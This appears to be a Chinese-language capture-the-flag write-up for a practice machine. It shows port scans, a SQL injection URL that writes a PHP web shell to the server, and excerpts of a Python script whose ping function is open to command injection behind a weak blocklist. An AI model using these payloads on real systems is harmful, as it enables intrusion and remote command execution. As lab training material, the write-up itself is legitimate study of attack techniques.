$ nmap -p- --min-rate=1000 10.10.10.143 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 13:19 CST Nmap scan report for 10.10.10.143 Host is up (0.071s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 45505/tcp filtered unknown 64999/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1008.70 seconds
$ nmap -sC -sV -p 22,80,64999 10.10.10.143 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 13:19 CST Nmap scan report for 10.10.10.143 Host is up (0.082s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel 64999/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.72 seconds
80
一个hotel:
64999
直接访问显示banned 90秒:
SQL注入
80的web很基础的sql注入:
sqli to webshell
load_file,into outfile 读写文件,直接写wbeshell:
1
http://10.10.10.143/room.php?cod=-1 union select 1,'<?php system($_GET["cmd"]);?>',3,4,5,6,7 into outfile '/var/www/html/miao.php'
defexec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)
#!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re
defshow_help(): message=''' ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message)
defexec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)